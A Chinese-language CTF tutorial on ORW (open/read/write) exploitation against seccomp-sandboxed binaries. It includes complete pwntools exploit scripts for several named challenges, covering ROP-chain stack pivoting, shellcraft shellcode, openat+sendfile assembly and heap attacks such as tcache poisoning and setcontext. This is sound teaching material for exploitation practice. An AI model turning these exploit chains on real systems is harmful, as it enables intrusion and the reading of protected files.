pwn知识——ORW
ORW
引入
在现今的CTF赛事中,越来越多的题目启动了沙箱,往往是禁用了execve
函数,使我们没办法直接通过system(/bin/sh\x00)
来getshell,这个时候就到了ORW大显身手的时刻。
ORW分别是open,read,write的首字母缩写,也正是要利用这三个函数来读出flag文件
原理
在禁用execve的情况下,我们需要经过以下操作来得到flag值
open开flag文件
read出flag的内容
write显示flag的值
攻击方式
在知晓大概的流程之后,就得设置寄存器的参数了,我们得知道各个函数对应的参数分别代表什么意思
open(file,oflag)
,read(fd,buf,n_bytes)
和write(fd,buf,n_bytes)
open
file就是我们要读取的文件名,CTF中一般为flag,或者flag.txt。
而oflag则是我们以何种方式打开文件,如只读,只写,可读可写。一般来说我们都设置oflag=0
,以默认方式打开文件,一般来说都是只读,我们并不需要对flag进行其它操作,所以只读的权限就够了
read和write
这两个是大同小异的。fd是文件描述符,通过设置它来决定函数的操作。在大多数时候,我们常常设置read的fd为0,代表标准输入,但在ORW中,我们需要设置read的fd为3,表示从文件中读取,buf就是我们读取出的flag值存放的地址,n_bytes就是能输入多少字节的数据。write的fd还是如常,依旧为1.
效果
源码如图
Linux下的执行效果
当然,我们构建源码是非常简单的,但是题目里就不一定了,根据题目的不同ORW里也有一些变种
栈上的ORW
ROP链的ORW
这是我们最常见的ORW了,通过ROPgadget在ELF文件、libc.so.6中寻找我们的gadget。在这种orw中,我们需要用的寄存器有rax,rdi,rdx,rsi
。rax的作用不必多说,系统调用号。而rdi在这open中存储file的地址,在read和write中储存fd;rdx储存的是输入\输出的字节数大小;rsi在open中储存的是oflag,在read和write中储存的是buf
open(rdi-->file_addr,rsi-->oflag)
read/write(rdi-->fd,rsi-->buf,rdx-->s_nbytes)
嫌这样记太麻烦的话,就只需要记住它的参数传递符合x64的函数调用约定
例题 [HGAME 2023 week1]orw
根据题目一眼看出就是ORW,我们先看看函数
检验过后确实是ORW,禁用了execve,read函数里只够0x28个字节,明显是不够的,需要迁移。
流程
第一次我们泄露libc,用libc_base来求取open,read,write,为第二次的read的buf迁移做准备。
这道题的核心就是第二次的buf迁移,因为要覆盖到ret地址需要0x108个字节,我们能利用的只有0x28个字节,因此我们需要迁移到bss区。
这里的关键汇编指令是 lea rax, [rbp+buf]
,意为取[rbp+buf]的地址存储到rax中,而rax在下面又会赋值给rsi,相当于完成了迁移,就有足够的字节构造ORW了。
payload_migration = b'a'*0x100 + p64(elf.bss() + 0x300 + 0x100) + p64(lea_rax) #0x100个a覆盖到rbp,将rbp覆盖为bss + 0x400处,至于为什么要0x400分开成0x300+0x100,是为了更好理解,因为buf相对rbp的距离是0x100字节,加0x100是为了抵消这部分偏移,便于后面计算。lea_rax就是ret到它所处的地址
这是执行过该payload后的效果
第三步就是纯粹的ORW链构造了,我直接放在完整payload里并解释好了
Payload
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
p = process('./vuln')
# p = remote('node5.anna.nssctf.cn',28996)
elf = ELF('./vuln')
libc = ELF('./libc-2.31.so')
offset = 0x100 + 0x08
pop_rdi = 0x401393 #file address\fd
pop_ret = 0x40101a
bss = 0x404300
lea_rax = 0x4012CF #迁移read_buf
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
main_addr = 0x4012F0
leave = 0x4012EE #栈迁移
payload_leak = b'a' * offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr) #泄露puts的地址,返回main函数
p.recvuntil('Maybe you can learn something about seccomp, before you try to solve this task.')
p.send(payload_leak)
puts_real_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
log.success('puts_real_addr==>' + hex(puts_real_addr))
libc_base = puts_real_addr - libc.sym['puts']
log.success('libc_base==>' + hex(libc_base))
open_addr = libc_base + libc.sym['open']
log.success('open_addr==>' + hex(open_addr))
read_addr = libc_base + libc.sym['read']
log.success('read_addr==>' + hex(read_addr))
write_addr = libc_base + libc.sym['write']
log.success('write_addr==>' + hex(write_addr))
pop_rdx = libc_base + 0x142c92 #设置可输入\输出字节大小
pop_rsi = libc_base + 0x2601f #oflag,buf
payload_migration = b'a' * (offset - 0x08) + p64(bss + 0x300 + 0x100) + p64(lea_rax)
# gdb.attach(p)
p.recvuntil('Maybe you can learn something about seccomp, before you try to solve this task.')
p.send(payload_migration)
pause() #暂停一下是为了防止一次性输送太多数据导致传输错误,无法成功执行ORW
payload = b'/flag\00\x00\x00' + p64(pop_rdi) + p64(bss + 0x300) + p64(pop_rsi) + p64(0) + p64(open_addr) #rdi储存bss+0x300地址处的值,也就是我们的flag
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr) #从bss + 0x300处读取文件信息
payload += p64(pop_rdi) + p64(1) +p64(pop_rsi) + p64(bss + 0x300) + p64(pop_rdx) + p64(0x100) + p64(write_addr) #将bss + 0x300处的数据输出出来
payload = payload.ljust(0x100, b'\x00')
payload += p64(bss + 0x300) + p64(leave) #因为我们的ROP链在bss区上,所以我们要用栈迁移迁过去,至于为什么bss + 0x300没有减0x08,是因为开头输入了flag并对齐了8字节,无需再关注两次leave带来的rsp抬高0x08个字节
p.send(payload)
p.interactive()
shellcraft模块的ORW
众所周知,pwntools库里给我们提供了许多模块供我们进行脚本攻击,其中shellcraft也是我们常用的模块,常常被我们用于ret2shellcode攻击,但它也可以被用来构造ORW链,常见形式如下
shellcraft.open('/flag')
shellcraft.read(3,buf,n_bytes)
shellcraft.write(1,buf,n_bytes)
相比于ROP链的攻击,它更为简单,因为我们不需要再寻找寄存器了。不过它的条件也很苛刻,必须是可读可写可执行的区域,所以它的泛用性并不是那么广
例题 第二届贺春杯 shellcode
一如既往看看程序运行逻辑
嗯,半shellcode半ORW,题目映射了一段可读可写可执行的地址,那么就很简单了,先往addr里塞用shellcraft编写的ORW链,然后从buf跳到addr即可
Payload
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
p = process('./shellcode')
shellcode_addr = 0x196082000
bss_addr = 0x404080
offset = 0x10 + 0x08
shellcode = shellcraft.open('./flag\x00')
shellcode += shellcraft.read(3, shellcode_addr + 0x300,0x200)
shellcode += shellcraft.write(1,shellcode_addr + 0x300,0x200)
shellcode = asm(shellcode) #别忘记用asm包裹,shellcraft编写的是机械码
p.recvuntil('magic!\n')
p.sendline(shellcode)
pause()
payload = offset * b'a' + p64(shellcode_addr)
p.sendline(payload)
p.interactive()
禁用ORW的部分函数写ORW
普通的ORW太简单,一般都会给你ban掉一部分跟ORW有关的函数,open被ban了可以用openat代替,write没了可以用puts代替,read可以用readv等代替。这时候就是考验攻击者对函数的熟练度了,有时候还需要汇编功底
例题 XYCTF orw
看着是一道很简单的ORW题,但是它的水很深,一不留神就掉坑里了
把ORW函数几乎给你ban了个遍,open还好说,但这read和write都ban的不成样了
坑
想找两个函数来代替这俩,然后用ROP给执行了,但其实这也是这题的一个坑,因为...
得了,咱寄存器别找了,手搓汇编吧,但要找函数代替品也不简单...
流程
这道题还真需要些函数功底,认识函数不全基本就做不出来了,这里就要隆重介绍我们的神中神,sendfile
函数。兼具了ORW中read和write的功能!
sendfile
来看看它的C代码
ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
sendfile是一个用于在文件描述符之间高效传输数据的系统调用,它在两个文件描述符之间传输数据而不需要在用户空间进行数据缓冲,从而提高性能
out_fd表示的是目标文件描述符。数据将被写入到这个文件描述符,一般来是stdout
(做堆的师傅们应该常见这玩意),用于输出到屏幕,可以粗略理解为write的fd
in_fd是源文件描述符,数据将从这个文件描述符读取,可以粗略理解为read的fd为3的情况
offset不必多言,就是从文件内容offset字节处开始读取
count也不必多言,n_bytes
了解完了这些就可以手搓汇编了
Payload
from pwn import *
context(log_level='debug', arch = "amd64",os= 'linux',terminal = ['tmux','splitw','-h'])
p = process('./vuln')
#p = remote("xyctf.top",60030 )
libc =ELF("./libc.so.6")
elf = ELF('./vuln')
def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out #将str转换为十六进制数,并在开头补上"0x"
if p.recvline()==b'show your magic again\n':
shellcode=f"""
xor rsi,rsi;
mov rbx,{convert_str_asmencode("/flag")};
push rbx;
mov rdx,0; #设置oflag为0
mov r10,0;
mov rdi,3; #文件描述符3
mov rsi,rsp
mov eax,257; #openat的系统调用号
syscall;
mov rsi,3; #in_fd
mov r10,50; #n_bytes
xor rdx,rdx;
mov rdi,rdx;
inc rdi; #out_fd
mov eax,40; #sendfile的系统调用号
syscall;
mov rdi,0;
mov rax,60; #exit
syscall
"""
payload1 =asm(shellcode)
p.send(payload1)
p.interactive()
效果如下
堆上的ORW
不仅栈上有ORW,堆上当然也有ORW,不过堆上的ORW调用情况比栈上的更麻烦,要考虑的变量多了
纯ROP链的ORW
这个“纯”的意思是没有配合其它函数,而是通过单纯控制堆块来在程序返回地址处来ORW。
原理
这种ORW通常都是通过environ函数(环境变量)泄露出当前函数的返回地址,通过修改bins中堆的fd指针为ret,申请到该地址后,在后面布置ORW的ROP链来获得flag
例题 [CISCN 2022 华东北]bigduck
来看看程序是什么样的
经典menu题(所有的函数名和变量名我自己已经改过了)
仅申请堆而没有操作
经典UAF漏洞
普通show
edit函数可改变大小并输入内容
有计时,开了沙箱,要ORW
流程
通过程序可以看出,这是一道经典的UAF的menu题,虽然这题libc版本较高,为2.33,但hook函数还没被扬,但是很难用setcontext+orw,因为2.29及之后setcontext有些改变,使这样的ORW比较难以利用,gadget不好找,所以我们只能采用这种ORW。利用edit和show函数,在申请进入environ函数体内后,就可以通过show计算出edit_ret,从而布置ROP链,这就是大概思路了
leak_libc和heap_base
先放这一阶段的Payload
def add():
p.recvuntil(b'Choice: ')
p.sendline(b'1')
def delete(index):
p.recvuntil(b'Choice: ')
p.sendline(b'2')
p.recvuntil(b'Idx: ')
p.sendline(str(index))
def show(index):
p.recvuntil(b'Choice: ')
p.sendline(b'3')
p.recvuntil(b'Idx: \n')
p.sendline(str(index))
def edit(index,content):
p.recvuntil(b'Choice: ')
p.sendline(b'4')
p.recvuntil(b'Idx: ')
p.sendline(str(index))
p.recvuntil(b'Size: ')
p.sendline(str(len(content)))
p.recvuntil(b'Content: ')
p.send(content)
for i in range(8):
add() #0-7
add() #8
for i in range(8):
delete(i)
edit(7, b'a')
show(7)
main_arena = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x60 - 0x61 #还要edit个a的原因是'\x00'截断,所以还要再show的基础上减去0x61(a的ASCII值)
log.success('main_arena==>'+hex(main_arena))
malloc_hook = main_arena - 0x10
log.success('malloc_hook==>'+hex(malloc_hook))
libc_base = malloc_hook - libc.sym['__malloc_hook']
log.success('libc_base==>'+hex(libc_base))
environ = libc_base + libc.sym['_environ']
log.success('environ==>'+hex(environ))
show(0)
heap_base = u64(p.recv(5).ljust(8,b'\x00')) << 12 #高版本libc会移位和异或fd指针,不过show出来只用移位
log.success('heap_base==>'+hex(heap_base))
stack_ptr = (heap_base >> 12) ^ environ #加进去的时候必须得移位加异或,因为libc会对fd指针进行操作
log.success('stack_ptr==>'+hex(stack_ptr))
edit(6,p64(stack_ptr))
add() #9
add() #10
show(10)
stack = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) #environ函数里存有程序的环境变量,通过环境变量能够计算出edit函数的ret地址
log.success('stack==>'+hex(stack))
stack_base = stack - 0x138 #edit函数中rsp的位置
log.success('stack_base==>'+hex(stack_base))
给几个关键步骤的截图,方便更好理解
show(0)时泄露heap_base,如果不移位,会造成heap_base泄露错误
记住这个environ和stack_ptr
在经过edit之后,看它的fd指针和实际的内容
这就是它对堆内容进行了移位和异或的操作,实习内容和fd指针指向的位置是不一样的,是高版本的保护机制
ORW
泄露出栈地址就好说了,先把两个堆块给free出来,用来继续伪造chunk。往edit_ret里编辑ORW即可
pop_rdi = libc_base + 0x28a55
pop_rsi = libc_base + 0x2a4cf
pop_rdx = libc_base + 0xc7f32
pop_ret = libc_base + 0x26699
open_addr = libc_base + libc.sym['open']
read_addr = libc_base + libc.sym['read']
puts_addr = libc_base + libc.sym['puts']
flag_addr = heap_base + 0x5d0 #flag字符所在地址
edit(3,b'/flag\x00')
orw = p64(0) * 3 + p64(pop_ret) + p64(pop_rdi) + p64(flag_addr) +p64(pop_rsi) + p64(0) + p64(open_addr)
orw += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(heap_base + 0x300) + p64(pop_rdx) + p64(0x100) + p64(read_addr)
orw += p64(pop_rdi) + p64(heap_base + 0x300) + p64(puts_addr)
delete(8)
delete(9) #放进tcache_bins里伪造chunk
edit(9, p64((heap_base >> 12)^stack_base)) #申请进edit的栈里
add()
add()
edit(12,orw) #构造ORW
p.interactive()
最终效果如下
setcontext+ORW
这个攻击方式主要利用setcontext函数,通过rdi寄存器控制其它寄存器,主要是利用mov rsp, qword ptr [rdi + 0xa0]
,实现栈的迁移
setcontext
我框红的就是关键的地方,要提前设置好[rdi+0xa0]的内容,使我们的rsp迁过去,要在迁过去之前设置好ORW链。
例题 [CISCN 2021 初赛]silverwolf
一如既往看程序
嗯,还是menu
add函数限制了我们的size大小,只能是tcache,并且不允许设置index
UAF,不能选择index
show,只show最近创造的chunk的内容
平平无奇edit,但是也只能edit最新创造的chunk
流程
这道题限制了我们的寻址,使我们只能操作最近申请的堆块,看似走投无路,其实还有一条小路可走,那就是劫持tcache_perthread_struct
tcache_perthread_struct
它是在libc-2.27之后加入的,用于管理tcache_bins,大小一般为0x250或0x290
源码
#define TCACHE_MAX_BINS 64
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
char counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
我们可以看到,该结构体有两个数组,一个是counts,另一个是entry
counts的数组记录的是tcache上各个bin上的堆个数,总大小为64字节
entry储存的是各个指针,存储的是各个bin链表上的首chunk的fd指针
而entry就储存在counts之下
entry数组和counts数组都是我们的攻击目标,通过修改counts和entry,我们就能操控tcache_bins
劫持tcache_perthread_struct
def add(size):
p.sendlineafter('Your choice: ',str(1))
p.sendlineafter('Index:',str(0))
p.sendlineafter('Size:',str(size))
def edit(content):
p.sendlineafter('Your choice: ',str(2))
p.sendlineafter('Index:',str(0))
p.sendlineafter('Content:',content)
def show():
p.sendlineafter('Your choice: ',str(3))
p.sendlineafter('Index:',str(0))
def delete():
p.sendlineafter('Your choice: ',str(4))
p.sendlineafter('Index:',str(0))
add(0x78)
delete()
show() #chunk的fd指针
p.recvuntil('Content: ')
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.success('heap_addr==>'+hex(heap_addr))
heap_base = heap_addr - 0x11b0 #heapbase,也是tcache_perthread_struct的prev与size域,不可修改,否则报错
log.success('heap_base==>'+hex(heap_base))
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78) #申请进入了,此时已经劫持了该结构体
因为只能操作最近申请的chunk,所以我们若是想在堆块里布置ORW链,我们就需要能一次性对多个堆块进行操作,而tcache_perthread_struct恰好能满足我们想要的这个条件,所以首先就是要劫持它。
泄露libc
这里提供两种方案,一种是直接填满tcache_bins使tcache_perthread_struct进入unsorted_bins;另一种是伪造counts数组使其误以为0x250的bins已经满了,从而再free一次就可以进入unsorted_bins。
先第一种
for i in range(7):
delete() #addr==>heap_base + 0x10
edit(p64(0) * 2) #恢复counts数组结构,因为每次free都会有fd指针产生,我们并不需要它,所以得把它破坏掉,使我们能持续free
delete() #free tcache_perthread_struct into unsorted bins
show()
main_arena = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96
log.success('main_arena==>'+hex(main_arena))
malloc_hook = main_arena - 0x10
log.success('malloc_hook==>'+hex(malloc_hook))
libc_base = malloc_hook - libc.symbols['__malloc_hook']
log.success('libc_base==>'+hex(libc_base))
第二种
edit(p64(0) * 4 + p64(0x0000000007000000)) #伪造counts数组,使其以为0x250的tcache_bins已被填满,下一次free的时候会把tcache_perthread_struct弄进unsorted_bins
delete()
show()
这两种选哪种都可以,我个人习惯第一种。第二种比较麻烦的一点是要测准counts数组分别对应哪个大小的tcache_bins,不如第一种简单
布置堆块
有了libc_base和heap_base,我们就需要布置堆块了。以往的堆块都能根据索引来进行操作,但这道题不行,这时就需要发挥tcache_perthread_struct的作用了。entry管理各个tache_bins链表上的首chunk的fd指针,那么我们只需要对entry进行修改,就能布置任意堆块,达成我们想要的攻击效果,先看代码
edit(b'\x00' * 0x78) #修改counts,并把entry的一些指针清空
rax = libc_base + 0x43ae8
rdi = libc_base + 0x215bf
rdx = libc_base + 0x1b96
rsi = libc_base + 0x23eea
free_hook = libc_base + libc.symbols['__free_hook']
read = libc_base + libc.symbols['read']
write = libc_base + libc.symbols['write']
syscall = libc_base + 0xe5965
mov_rsp_rdi_a0 = libc_base + libc.sym['setcontext'] + 53
log.success('mov_rsp_rdi_a0==>'+hex(mov_rsp_rdi_a0))
flag_addr = heap_base + 0x1000 #存放flag字符串的地址,也是我们要用到的伪堆块
ret = libc_base + 0x8aa #ret进我们布置好的orw1中
orw1 = heap_base + 0x3000 #orw1用来布置前半部分ORW链,因为我用到的大小只有0x60,塞不下完整Payload
orw2 = heap_base + 0x3060 #下一半ORW链
log.success('orw1==>'+hex(orw1))
log.success('orw2==>'+hex(orw2))
fake_orw1 = heap_base + 0x2000 #用于触发setcontext
fake_orw2 = heap_base + 0x20a0 #用于存储orw1和ret
log.success('fake_orw1==>'+hex(fake_orw1))
log.success('fake_orw2==>'+hex(fake_orw2))
payload = b'\x00' * 0x40 #repair the counts,which is 64 byteds,another solution is p64(0) * 4 + p64(0x0000000000000000)
payload += p64(free_hook) + p64(0) #0x20 0x30
payload += p64(flag_addr) + p64(fake_orw1) #0x40 0x50
payload += p64(fake_orw2) + p64(orw1) #0x60 0x70
payload += p64(orw2) #0x80
#这个Payload的意思是布置堆块,从0x20-0x80这一大小的堆块
edit(payload) #此时我们控制的堆块依旧是tcache_perthread_struct,所以我们直接edit就好
至于为什么不直接用ORW链而伪造两个fake_orw,有两个原因。
其一,我们不能直接修改链表为ORW链,会出现未知的错误。
其二,是为了我们的setcontext,用setcontext来迁rsp,达到一种迁栈的效果,ret到这个地址上,就可以完成ORW
完成ORW
在前面,我们已经完成好了堆块的布局,我们只需根据对应的堆块名称执行对应的操作即可,先看堆块的布局
与我们需要用到的地址别无二致,那么此时我们只需要完成如下操作
0x20 free_hook-->setcontext
0x40 存储flag
0x50 调用free
0x60 跳转至orw
0x70 orw的前半部分(因为size只有0x60)
0x80 orw的后半部分
就可以成功getshell了!
#orw
shellcode = p64(rdi) + p64(flag_addr) + p64(rsi) + p64(0) + p64(rax) + p64(2) + p64(syscall) #open
shellcode += p64(rdi) + p64(3) + p64(rsi) + p64(orw1) + p64(rdx) + p64(0x100) + p64(read) #read
shellcode += p64(rdi) + p64(1) + p64(write) #write
add(0x18) #free_hook
edit(p64(mov_rsp_rdi_a0)) #setcontext+0xa0的位置
add(0x38) #edit flag
edit(b'/flag\x00')
add(0x68) #orw1
edit(shellcode[:0x60]) #orw的前半部分
add(0x78) #orw2
edit(shellcode[0x60:]) #orw的后半部分
add(0x58) #fake2
edit(p64(orw1) + p64(ret)) #
add(0x48) #fake1
delete()
p.interactive()
不过这种攻击目前限于libc-2.29之前,2.29的setcontext控制的寄存器就变成rdx,需要找gadget实行rdi和rdx之间的转换,比之前更麻烦,需要合适地址,条件比较苛刻。而2.31要用rdx控制各种寄存器的地址变成了setcontext+0x61。
总结
ORW的形式多种多样,多做做题应该就能认识个七七八八了,还是得靠练